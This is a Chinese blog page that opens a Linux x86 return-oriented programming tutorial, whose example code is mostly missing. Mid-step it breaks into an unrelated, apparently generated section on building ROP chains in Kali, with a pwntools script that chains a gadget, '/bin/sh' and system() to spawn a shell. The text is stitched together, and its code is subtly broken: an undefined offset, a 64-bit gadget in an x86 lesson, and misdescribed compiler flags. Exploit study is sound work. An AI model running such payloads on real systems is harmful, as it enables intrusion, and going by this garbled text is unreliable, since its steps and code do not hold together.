一步一步学ROP之linux_x86篇

本文详细介绍了如何学习Return-oriented Programming (ROP)技术,从程序流劫持的概念出发,逐步讲解了如何利用ROP绕过DEP和ASLR防护,包括栈溢出、ret2libc和ROP链的构造。通过实例展示了在Linux_x86环境下,如何编写溢出攻击的exploit,强调了在不同防御机制下的解决方案,并提供了后续学习资源。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一步一步学ROP之linux_x86篇

作者:蒸米@阿里聚安全



一、序

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。虽然现在大家都在用64位的操作系统,但是想要扎实的学好ROP还是得从基础的x86系统开始,但看官请不要着急,在随后的教程中我们还会带来linux_x64以及android (arm)方面的ROP利用方法,欢迎大家继续学习。

小编备注:文中涉及代码可在文章最后的github链接找到。


二、Control Flow Hijack 程序流劫持

比较常见的程序流劫持就是栈溢出,格式化字符串攻击和堆溢出了。通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系统防御者也提出了各种防御方法,最常见的方法有DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等。但是如果上来就部署全部的防御,初学者可能会觉得无从下手,所以我们先从最简单的没有任何保护的程序开始,随后再一步步增加各种防御措施,接着再学习绕过的方法,循序渐进。

首先来看这个有明显缓冲区溢出的程序:



这里我们用

#bash
gcc -fno-stack-protector -z execstack -o level1 level1.c


这个命令编译程序。-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。同时我们在shell中执行:



这几个指令。执行完后我们就关掉整个linux系统的ASLR保护。

接下来我们开始对目标程序进行分析。首先我们先来确定溢出点的位置,这里我推荐使用pattern.py这个脚本来进行计算。我们使用如下命令:



来生成一串测试用的150个字节的字符串:


### 使用 ROP 技术进行漏洞开发 在 Kali Linux 中利用返回导向编程 (Return-Oriented Programming, ROP) 进行漏洞开发涉及多个方面。为了有效实施这一技术,理解其基本概念至关重要。 #### 准备工作环境 安装必要的工具包对于准备攻击环境非常重要。通常情况下,在 Kali Linux 上已经预装了许多安全测试软件,但对于特定需求可能还需要额外配置: - 安装 `gdb` 和其他调试器用于分析目标程序的行为。 - 利用 `pwntools` 或者类似的 Python 库来简化 rop 链的构建过程[^1]。 ```bash apt-get update && apt-get install -y gdb pwntools ``` #### 寻找 Gadget Gadgets 是指存在于二进制文件中的短代码片段,这些片段以 `ret` 指令结束并可以被链接起来执行任意操作。寻找 gadgets 的方法之一是通过自动化脚本扫描二进制文件或库文件。`ropper` 工具可以帮助快速定位可用的小工具集合。 ```bash pip3 install ropper ropper --file /path/to/binary ``` #### 构建 ROP Chain 一旦收集到了足够的 gadget 后就可以着手创建一条完整的 ROP chain 来实现预期功能。这一步骤往往依赖于对目标应用程序内部逻辑的理解以及所处平台架构的知识(比如 x86 vs x64)。编写一个简单的 python 脚本来组合选定的小工具,并将其发送给易受攻击的服务作为输入数据流的一部分。 ```python from pwn import * binary_path = './vulnerable_binary' elf = ELF(binary_path) rop = ROP(elf) pop_rdi_ret = 0x00000000004012b3 # Example address found using 'ropper' payload = b'A' * offset_to_return_address payload += pack(pop_rdi_ret) payload += pack(next(elf.search(b'/bin/sh'))) payload += pack(elf.symbols['system']) process(binary_path).sendline(payload) ``` #### 测试与调整 最后阶段是对整个流程进行全面验证,确保每一步都能按计划顺利运行。如果遇到任何问题,则需回溯检查之前的工作成果直至找到错误所在之处。此过程中可能会涉及到多次迭代优化 payload 结构或是重新评估初始假设条件。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值